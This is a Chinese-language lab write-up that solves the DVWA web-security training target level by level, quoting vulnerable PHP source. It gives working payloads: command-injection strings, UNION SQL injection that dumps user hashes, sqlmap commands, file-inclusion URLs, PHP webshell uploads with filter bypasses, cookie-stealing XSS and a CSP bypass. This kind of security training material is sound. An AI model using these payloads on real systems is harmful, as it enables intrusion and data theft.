DVWA 是一个入门的 Web 安全学习靶场,结合源码去学习的话,是个入门安全的好靶场,这个靶场是我刚入行的时候练习的,当时还没有记录的习惯,所以这里只提供部分题解,等以后有时间了再慢慢补上吧!
DVWA、kali2020.4、火狐浏览器、中国蚁剑
firefox渗透浏览器下载:
链接:https://pan.baidu.com/s/1zBSl8CyJN6HHbsYC1JpOlQ
提取码:zj13
环境的搭建毫无意义,应该注重漏洞本身,这边建议直接docker拉一个镜像
这里就用我偶像国光推荐的吧
# 拉取镜像
docker pull sqreen/dvwa
# 部署安装
docker run -d -t -p 8888:80 sqreen/dvwa
在 Web 安全领域暴力破解是一个基础技能,不仅需要好的字典,还需要具有灵活编写脚本的能力。
暴力破解一般就是加线程,然后就是看字典大不大、好不好。写的话有点浪费时间。这里提供思路吧
查看源码
if( isset( $_GET[ 'Login' ] ) ) {
# 获取用户名和密码
$user = $_GET[ 'username' ];
$pass = $_GET[ 'password' ];
$pass = md5( $pass );
# 查询验证用户名和密码
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysql_query( $query ) or die( ''
. mysql_error() . '
' );
if( $result && mysql_num_rows( $result ) == 1 ) {
# 输出头像和用户名
$avatar = mysql_result( $result, 0, "avatar" );
echo "Welcome to the password protected area { $user}
"; } else { 登录失败 } mysql_close(); }源码审计,发现用户名和密码都没有进行过滤,直接单线程字典跑一下即可
查看源码
// 对用户名和密码进行了过滤
$user = $_GET[ 'username' ];
$user = mysql_real_escape_string( $user );
$pass = $_GET[ 'password' ];
$pass = mysql_real_escape_string( $pass );
$pass = md5( $pass );
// 验证用户名和密码
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
if( $result && mysql_num_rows( $result ) == 1 ) {
登录成功
}
else {
sleep( 2 );
登录失败
}
代码审计发现这里做了一点小改动,登录失败的时候会延时 2 秒,这样爆破的速度会慢一些,爆破问题不大
查看源码
// 检测用户的 token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// 过滤用户名和密码
$user = $checkToken_GET[ 'username' ];
$user = stripslashes( $user );
$user = mysql_real_escape_string( $user );
$pass = $_GET[ 'password' ];
$pass = stripslashes( $pass );
$pass = mysql_real_escape_string( $pass );
$pass = md5( $pass );
// 数据匹配
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysql_query( $query ) or die( ''
. mysql_error() . '
' );
if( $result && mysql_num_rows( $result ) == 1 ) {
登录成功
}
else {
sleep( rand( 0, 3 ) );
登录失败
}
这一关增加了 token 的检测,下面简单介绍下bp爆破过程
bp拦截包,选择Pitchfork模式,并且给要破解的项带上美元符号
给第一个项加playload
给第二个项加playload
匹配的值是需要我们去抓到的
首先将线程的值改为1
然后到options中Grep-Extract中添加匹配规则
选中并复制
粘贴到这里
找到Redirections模块设置允许重定向,选择always
爆破准备环节完成,开始爆破。
爆破成功
用户可以执行恶意代码语句,在实战中危害比较高,也称作命令执行,一般属于高危漏洞。
查看源码
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "{
$cmd}
";
}
?>
注意到这里有两个函数,stristr和php_uname
stristr函数搜索字符串在另一字符串中的第一次出现,返回字符串的剩余部分(从匹配点),如果未找到所搜索的字符串,则返回 FALSE。参数string规定被搜索的字符串,参数search规定要搜索的字符串(如果该参数是数字,则搜索匹配该数字对应的 ASCII 值的字符),可选参数before_true为布尔型,默认为"false" ,如果设置为 “true”,函数将返回 search 参数第一次出现之前的字符串部分。
php_uname(mode)这个函数会返回运行php的操作系统的相关描述,参数mode可取值”a” (此为默认,包含序列”s n r v m”里的所有模式),”s ”(返回操作系统名称),”n”(返回主机名),” r”(返回版本名称),”v”(返回版本信息), ”m”(返回机器类型)。
这里通过判断操作系统执行不同ping命令,但是对ip参数并未做任何的过滤,导致任意命令注入。
结果验证
查看源码
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "{
$cmd}
";
}
?>
相比Low级别的代码,这里对ip参数做了一定过滤,str_replace把&& 、;替换为空字符,因为被过滤的只有&&与;,所以可以使用&绕过。由于使用的是str_replace把”&&” 、”;”替换为空字符,因此可以采用以下方式绕过:127.0.0.1&;&ipconfig
查看源码
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);
// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "{
$cmd}
";
}
?>
这里进一步完善了黑名单,把”| ”(注意这里|后有一个空格)替换为空字符,于是 可以用”|”绕过。
首先尝试低级别的payload
http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=2&password_conf=2&Change=Change#
失败了,抓包看看正常修改密码和利用csrf修改密码的包有什么不一样
正常修改密码
csrf修改
发现利用csrf构造的包差一个referer头,查看源代码可知,中级确实对referer做出了认证,
所以只需要将正常修改密码的referer信息添加到包里面就好
修改成功
正常修改密码的样子
可以看到高级增加了token验证,并且每次都会改变,所以这里使用XSS漏洞先获取token值切换到存储型XSS,payload:
获得token
构造修改密码的url并加上token值
修改成功
PHP中的文件包含语句
include() //多次包含,如果包含失败,脚本产生警告,继续运行
include_once() //一次包含,如果包含失败,脚本产生警告,继续运行
require() //多次包含,如果包含失败,脚本产生错误,结束执行
require_once() //一次包含,如果包含失败,脚本产生错误,结束执行
本地文件包含
http://localhost/php/fileInclusion/fileInclude.php?path=./name.php
远程文件包含
http://localhost/php/fileInclusion/fileInclude.php? path=http://10.10.10.212/php/fileInclusion/info.php
无视文件扩展名读取文件
直接读取图片的源代码
http://localhost/fileInclusion/fileInclusion.php? path=../DVWA\hackable\uploads/1.jpg
无条件解析PHP 代码
当读取到被包含文件的源码,如果遇到符合PHP 代码规范的内容,就会无条件执行,同时为图片木马提供了出路
http://10.10.10.129/fileInclusion/fileInclusion.php? path=../DVWA\hackable\uploads/1_yjh.jpg
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=..././..././hackable/uploads/php.jpg
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=file://E:\wamp64\www\dvwa\hackable\uploads\php.jpg
1、首先将靶机安全等级设为low
2、查看源码(这里的源码不是前端源码,而是后端)可知,可以上传任意文件
3、上传一句话木马shell1.php(aaa为密码)
上传成功
通过上传成功的提示可以知道一句话木马的文件位置(红色路径),复制粘贴在浏览器url地址(去#)后面,回车可得具体url(如下图),复制url进蚁剑
4、用蚁剑去连接网站
5、成功拿到网站后台内容
1、将靶机安全级别调为medium
2、查看后台代码可知上传类型必须为image/jpeg,且上传大小要小于100000字节,也就是说这次我们不能直接上传php类型文件了,得要做一些处理才行
3、打开kali自带的Burp Suite工具(这个工具是渗透测试人员常用的工具,后面看我啥时候打鸡血再写一个关于它的完美教程吧),进入proxy里的options选项,并将代理指向全部网络
4、将windows浏览器的代理指向kali的ip地址
5、这时候再去上传一句话木马,可以发现左上角一直在转,因为被kali自带的工具拦截了。
6、不急让它再转一会,我们先回到kali的Burp Suite工具中操作一下
7、将拦截的数据中(下图黄色标注部分)上传文件的类型改为Content-Type:image/jpeg,再点击左上角Forward,回到浏览器发现上传成功。
7、再用蚁剑去连接拿到网站的全部内容
1、首先将难度级别调整到Hight
2、打开源码进行查看,发现限制了上传文件的类型、后缀名以及大小
3、这里的限制有点多,不仅限制了类型大小还限制了后缀,利用上面Medium的拦截欺骗方法不大行了,规矩太多,那就按规矩来,我们将一句话木马的代码直接放到图片中去,再上传这个图片。首先利用kali将’一句话木马’和图片合在一起。
4、上传,发现可以成功上传(手动狗头)
5、这次我们通过命令注入漏洞查看文件路径
|| find / -name 1.jpg
因为图片不能直接被执行,故利用文件包含漏洞解析该文件
http://192.168.160.128/dvwa/vulnerabilities/fi/page=file:///var/www/dvwa/hackable/uploads/1.jpg
先把级别调到low
输入 1‘ 返回错误,并且错误中显示我们多了一个单引号,尝试union注入
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1
输入1’ #返回正常信息
下面判断字段
当输入1’ order by 2 # 时正常返回。当输入1’ order by 3 # 时返回错误,说明存在两个字段。
下面看接下来判断哪些字段有回显,输入-1’ union select 1,2 # 发现1,2,都有回显
爆出版本和数据库名
-1' union select version(),database()#
查询所有的库
-1' union select 1,group_concat(schema_name) from information_schema.schemata#
查询dvwa库所有的表
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#
查询users表中字段
-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
查询user和password,密码用MD5加密,随便找个网站就可以破解,形同虚设。
-1' union select 1,(select group_concat(user,password) from dvwa.users)#
这里没有输入窗口,只能根据提供的ID做输入,并且点击submit后,url并没有任何变化,显然这里是post类型的SQL注入
怎么办呢,只要思想不滑坡,方法总比困难多,我这里介绍两种方法
第一种方法利用burp抓包,然后改数据,以实现注入。这种方法比较简单类似于上面的Low级别,这里就不加赘述,如果有相关基础知识的疑问请看我的上一篇文章。第二方法是利用火狐扩展工具hackbar,进行传参,而后达到注入的效果。因为这个扩展工具在以后的SQL注入学习过程中非常重要,这里重点讲解。
首先点击submit提交一个数据,然后按下图箭头序号进行操作
可直接将post值显示出来,看到了id=1,是不是感觉看到了希望,,下面我们在这里改参数id=1’,然后点击Split URL执行
执行后发现报错,这里直接把 ‘ 给转义了,说明这里是个数字型注入,下面正式开始注入过程
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1
还是老样子先判断字段,正常返回。id=1 order by 2&Submit=Submit
正常返回。然后输入id=1 order by 3&Submit=Submit
返回错误,说明存在两个字段。
然后开始判断注入点id=-1 union select 1,2&Submit=Submit
,发现1,2都有回显,所有1和2都为注入点
接着开始查询数据库的内容
#查询版本和数据库名
id=-1 union select version(),database()&Submit=Submit
#查看所有的库
id=-1 union select 1,group_concat(schema_name) from information_schema.schemata
查看dvwa库下的表
id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'&Submit=Submit
这里执行后报错,因为这关的‘
被转义了,所以这里的sql语句就查询不了dvwa库
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'dvwa\'' at line 1
怎么办呢,这确实是个大问题,其实这里我们可以直接将dvwa转16进制,然后进行查询
id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x64767761&Submit=Submit
成功
后面的查询就不再赘述,单引号被转义就用十六进制转化,就ok
查看源码
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( 'Something went wrong.
' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "ID: {
$id}
First name: {
$first}
Surname: {
$last}
";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
由以上源码可知,这个级别在sql语句后面加了个limit函数,不要怕,可以直接用#注释,并且这里输入ID值会自动跳转到另一个页面,防止了自动化的SQL注入。当然我们本就不是以脚本小子的身份来做这道题,所以防止自动化对于本就是手工注入的我们没有意义。话不多说,直接开始。
这个界面有点熟悉,经过我的简单判断后,发现它竟然和Low级别一摸一样,就加了个花里胡哨的limit函数,一个注释符就解决了,这里就不加赘述了,直接看Low级别。
又到了这个不可能级别,我们来看看它的源码
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();
// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
// Feedback for end user
echo "ID: {
$id}
First name: {
$first}
Surname: {
$last}
";
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
不可能级别永远的神,这里竟然使用了PDO技术,直接杜绝了SQL注入。没意思,溜之。
sql盲注,这边直接sqlmap跑或者python脚本
sqlmap -u "http://127.0.0.1/vulnerabilities/sqli_blind/?id=1*&Submit=Submit#" --cookie="你的cookie" --dbms=MySQL --technique=B --random-agent --flush-session -v 3
因为登录之后的页面存在sql注入,所以要指定cookie
sqlmap -u "http://127.0.0.1:8888/vulnerabilities/sqli_blind/" --cookie="你的cookie" --data="id=1*&Submit=Submit" --dbms=MySQL --technique=B --random-agent --flush-session -v 3
从cookie 中获取 id 然后倒入到数据库中查询
sqlmap -u "http://127.0.0.1:8888/vulnerabilities/sqli_blind/" --cookie="id=1*;你的cookie" --dbms=MySQL --technique=B --random-agent --flush-session -v 3
会话认证伪造
查看源码
if ($_SERVER['REQUEST_METHOD'] == "POST") {
if (!isset ($_SESSION['last_session_id'])) {
$_SESSION['last_session_id'] = 0;
}
$_SESSION['last_session_id']++;
$cookie_value = $_SESSION['last_session_id'];
setcookie("dvwaSession", $cookie_value);
}
发现 dvwaSession 的值每次生成 +1 ,直接遍历 dvwaSession 来获取用户信息
查看源码
if ($_SERVER['REQUEST_METHOD'] == "POST") {
$cookie_value = time();
setcookie("dvwaSession", $cookie_value);
}
发现这里根据 time() 时间戳来生成 dvwaSession 的值,这里时间戳是有规律的,直接利用在线时间戳生成转换即可
查看源码
if ($_SERVER['REQUEST_METHOD'] == "POST") {
if (!isset ($_SESSION['last_session_id_high'])) {
$_SESSION['last_session_id_high'] = 0;
}
$_SESSION['last_session_id_high']++;
$cookie_value = md5($_SESSION['last_session_id_high']);
setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], false, false);
}
就多了个md5编码加密,任然可以猜解遍历
if ($_SERVER['REQUEST_METHOD'] == "POST") {
$cookie_value = sha1(mt_rand() . time() . "Impossible");
setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], true, true);
}
dvwaSession 的值为 sha1(随机数+时间+“impossbile”)
1、先将安全等级跳到low
2、查看源代码发现没有任何的安全过滤措施
3、直接尝试一般的xss攻击
<script>alert('知己安全')</script>
<script>alert(document.cookie)</script>
1、先把安全等级跳到medium
2、先尝试一般xss攻击发现不行
3、查看源码发现这里使用str_replace函数对参数进行了简单的替换,过滤
4、我们可以直接用大小写绕过
<Script>alert('知己安全')</script>
1、先把安全等级跳到high
2、这里因为安全等级过高就不客套了直接查看源码,发现他这次使用了preg_replace正则表达式对
";
}
$page[ 'body' ] .= '
';
分析源码不难看出白名单网址为
self
https://pastebin.com
example.com
code.jquery.com
https://ssl.google-analytics.com
其中 pastebin.com 是一个快速分享文本内容的网站,这个内容我们是可控的,可以在这里面插入 XSS 攻击语句:
alert(document.cookie)
然后将网址https://pastebin.com/raw/2K8HVwTf填写到文本框中,提交即可触发XSS
查看源码
$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";
header($headerCSP);
// Disable XSS protections so that inline alert boxes will work
header ("X-XSS-Protection: 0");
#
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
';
http头信息中的script-src的合法来源发生了变化,说明如下
unsafe-inline //允许使用内联资源,如内联< script>元素,javascript:URL,内联事件处理程序(如onclick)和内联< style>元素。必须包括单引号。
nonce-source //仅允许特定的内联脚本块,nonce=“TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA”
直接输入以下代码
<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert("hahaha")</script
注入成功
查看源码
$headerCSP = "Content-Security-Policy: script-src 'self';";
header($headerCSP);
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
. DVWA_WEB_PAGE_TO_ROOT . '/vulnerabilities/csp/source/jsonp.php to load some code. Modify that page to run your own code.
1+2+3+4+5=
';
function clickButton() {
var s = document.createElement("script");
s.src = "source/jsonp.php?callback=solveSum";
document.body.appendChild(s);
}
function solveSum(obj) {
if ("answer" in obj) {
document.getElementById("answer").innerHTML = obj['answer'];
}
}
var solve_button = document.getElementById ("solve");
if (solve_button) {
solve_button.addEventListener("click", function() {
clickButton();
});
}
CSP 规则限制,只能引用允许self
的脚本执行,self
是指本页面加载的脚本,服务器只信任自己的域名,只允许加载本界面的JavaScript代码,这样的话自能从客户端本身动手脚了
这关的突破点在于自己给参数,创造传参
POST 提交的 include 参数直接放到了 body 源码中
所以这里我们可以自己修改include 来进行弹窗
include=<script src="source/jsonp.php?callback=alert('aha');"></script>
"15");
echo "solveSum (".json_encode($outp).")";
?>
echo "solveSum (".json_encode($outp).")";
function solveSum(obj) {
if ("answer" in obj) {
document.getElementById("answer").innerHTML = obj['answer'];
}
}
这关直接把js写死了,只能回调 JS 里面的 solveSum 函数,所以就没办法啦
这是一种比较新颖的玩法,通过捕获js中的漏洞进行,成功提交success就算赢
查看源码
<?php
$page[ 'body' ] .= <<<EOF
<script>
/*
MD5 code from here
https://github.com/blueimp/JavaScript-MD5
*/
!function(n){
"use strict";function t(n,t){
var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){
return n<<t|n>>>32-t}function e(n,e,o,u,c,f){
return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){
return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){
return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){
return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){
return e(r^(t|~o),n,t,u,c,f)}function i(n,r){
n[r>>5]|=128<<r%32,n[14+(r+64>>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e<n.length;e+=16)i=l,a=g,d=v,h=m,g=f(g=f(g=f(g=f(g=c(g=c(g=c(g=c(g=u(g=u(g=u(g=u(g=o(g=o(g=o(g=o(g,v=o(v,m=o(m,l=o(l,g,v,m,n[e],7,-680876936),g,v,n[e+1],12,-389564586),l,g,n[e+2],17,606105819),m,l,n[e+3],22,-1044525330),v=o(v,m=o(m,l=o(l,g,v,m,n[e+4],7,-176418897),g,v,n[e+5],12,1200080426),l,g,n[e+6],17,-1473231341),m,l,n[e+7],22,-45705983),v=o(v,m=o(m,l=o(l,g,v,m,n[e+8],7,1770035416),g,v,n[e+9],12,-1958414417),l,g,n[e+10],17,-42063),m,l,n[e+11],22,-1990404162),v=o(v,m=o(m,l=o(l,g,v,m,n[e+12],7,1804603682),g,v,n[e+13],12,-40341101),l,g,n[e+14],17,-1502002290),m,l,n[e+15],22,1236535329),v=u(v,m=u(m,l=u(l,g,v,m,n[e+1],5,-165796510),g,v,n[e+6],9,-1069501632),l,g,n[e+11],14,643717713),m,l,n[e],20,-373897302),v=u(v,m=u(m,l=u(l,g,v,m,n[e+5],5,-701558691),g,v,n[e+10],9,38016083),l,g,n[e+15],14,-660478335),m,l,n[e+4],20,-405537848),v=u(v,m=u(m,l=u(l,g,v,m,n[e+9],5,568446438),g,v,n[e+14],9,-1019803690),l,g,n[e+3],14,-187363961),m,l,n[e+8],20,1163531501),v=u(v,m=u(m,l=u(l,g,v,m,n[e+13],5,-1444681467),g,v,n[e+2],9,-51403784),l,g,n[e+7],14,1735328473),m,l,n[e+12],20,-1926607734),v=c(v,m=c(m,l=c(l,g,v,m,n[e+5],4,-378558),g,v,n[e+8],11,-2022574463),l,g,n[e+11],16,1839030562),m,l,n[e+14],23,-35309556),v=c(v,m=c(m,l=c(l,g,v,m,n[e+1],4,-1530992060),g,v,n[e+4],11,1272893353),l,g,n[e+7],16,-155497632),m,l,n[e+10],23,-1094730640),v=c(v,m=c(m,l=c(l,g,v,m,n[e+13],4,681279174),g,v,n[e],11,-358537222),l,g,n[e+3],16,-722521979),m,l,n[e+6],23,76029189),v=c(v,m=c(m,l=c(l,g,v,m,n[e+9],4,-640364487),g,v,n[e+12],11,-421815835),l,g,n[e+15],16,530742520),m,l,n[e+2],23,-995338651),v=f(v,m=f(m,l=f(l,g,v,m,n[e],6,-198630844),g,v,n[e+7],10,1126891415),l,g,n[e+14],15,-1416354905),m,l,n[e+5],21,-57434055),v=f(v,m=f(m,l=f(l,g,v,m,n[e+12],6,1700485571),g,v,n[e+3],10,-1894986606),l,g,n[e+10],15,-1051523),m,l,n[e+1],21,-2054922799),v=f(v,m=f(m,l=f(l,g,v,m,n[e+8],6,1873313359),g,v,n[e+15],10,-30611744),l,g,n[e+6],15,-1560198380),m,l,n[e+13],21,1309151649),v=f(v,m=f(m,l=f(l,g,v,m,n[e+4],6,-145523070),g,v,n[e+11],10,-1120210379),l,g,n[e+2],15,718787259),m,l,n[e+9],21,-343485551),l=t(l,i),g=t(g,a),v=t(v,d),m=t(m,h);return[l,g,v,m]}function a(n){
var t,r="",e=32*n.length;for(t=0;t<e;t+=8)r+=String.fromCharCode(n[t>>5]>>>t%32&255);return r}function d(n){
var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t<r.length;t+=1)r[t]=0;var e=8*n.length;for(t=0;t<e;t+=8)r[t>>5]|=(255&n.charCodeAt(t/8))<<t%32;return r}function h(n){
return a(i(d(n),8*n.length))}function l(n,t){
var r,e,o=d(n),u=[],c=[];for(u[15]=c[15]=void 0,o.length>16&&(o=i(o,8*n.length)),r=0;r<16;r+=1)u[r]=909522486^o[r],c[r]=1549556828^o[r];return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){
var t,r,e="";for(r=0;r<n.length;r+=1)t=n.charCodeAt(r),e+="0123456789abcdef".charAt(t>>>4&15)+"0123456789abcdef".charAt(15&t);return e}function v(n){
return unescape(encodeURIComponent(n))}function m(n){
return h(v(n))}function p(n){
return g(m(n))}function s(n,t){
return l(v(n),v(t))}function C(n,t){
return g(s(n,t))}function A(n,t,r){
return t?r?s(t,n):C(t,n):r?m(n):p(n)}"function"==typeof define&&define.amd?define(function(){
return A}):"object"==typeof module&&module.exports?module.exports=A:n.md5=A}(this);
function rot13(inp) {
return inp.replace(/[a-zA-Z]/g,function(c){
return String.fromCharCode((c<="Z"?90:122)>=(c=c.charCodeAt(0)+13)?c:c-26);});
}
function generate_token() {
var phrase = document.getElementById("phrase").value;
document.getElementById("token").value = md5(rot13(phrase));
}
generate_token();
</script>
EOF;
?>
看着挺吓人,其实没什么东西,就是从github上弄了个md5运算的脚本然后在前端生成了一个token
F12审计一波,发现这里实际提交的是ChangeMe
,不是succes
所以我们直接修改token的值,以实现提交succes的目标,通过console得到succes的token
然后修改填入即可
成功提交
查看源码
//medium.php
<?php
$page[ 'body' ] .= <<<EOF
EOF;
?>
//medium.js
function do_something(e) {
for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n];
return t
}
setTimeout(function () {
do_elsesomething("XX")
}, 300);
function do_elsesomething(e) {
document.getElementById("token").value = do_something(e + document.getElementById("phrase").value + "XX")
}
分析源码可知js代码中调用do_elsesomething()
函数,而do_elsesomething()
函数中有生成token的代码,其中将传入参数e、前端表单输入的phrase
值以及”XX”字符串进行拼接再调用do_something()
函数进行字符串翻转处理。
了解token的规律后,直接构造payload提交即可
token=XXsseccusXX&phrase=success&send=Submit
查看源码,发现前端js代码被加密混淆
解密工具解密http://deobfuscatejavascript.com/#
解密后的源码
function do_something(e) {
for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n];
return t
}
function token_part_3(t, y = "ZZ") {
document.getElementById("token").value = sha256(document.getElementById("token").value + y)
}
function token_part_2(e = "YY") {
document.getElementById("token").value = sha256(e + document.getElementById("token").value)
}
function token_part_1(a, b) {
document.getElementById("token").value = do_something(document.getElementById("phrase").value)
}
document.getElementById("phrase").value = "";
setTimeout(function() {
token_part_2("XX")
}, 300);
document.getElementById("send").addEventListener("click", token_part_3);
token_part_1("ABCD", 44);
分析源码可知执行token_part_2("XX")
,但是由于设置了延时,所以其实是先执行token_part_1("ABCD", 44);
,再执行token_part_2("XX")
,最后点击click
的时候就会执行token_part_3
。
无论我们想调试所有代码还是只调试指定的片段,主要的问题是如何将我们的反混淆代码插入到http://localhost/dvwa/vulnerabilities/javascript/source/high.js文件中;如果不解决这个问题,那么对混淆代码的调试将变得不可能,因为在控制权传递给真正的功能片段之前,之前的无意义代码可以执行数百万次操作。有一种方法可以摆脱这种情况——此外,即时更改文件并在重新加载页面后保存这些更改的功能直接在浏览器开发人员工具中。参考如何在页面重新加载后保留浏览器开发人员工具中的更改”。
插入反混淆代码,设置断点
将此页面添加到“保存为覆盖”并重新加载页面
最后到控制台里面设置 phrase 的值
document.getElementById("phrase").value = "success";
然后就可以通关了
You can never trust anything that comes from the user or prevent them from messing with it and so there is no impossible level.
你永远不能相信来自用户的任何东西或阻止他们弄乱它,所以没有不可能的水平。
没有绝对安全,除非你关服。
至此,DVWA靶场全部通关。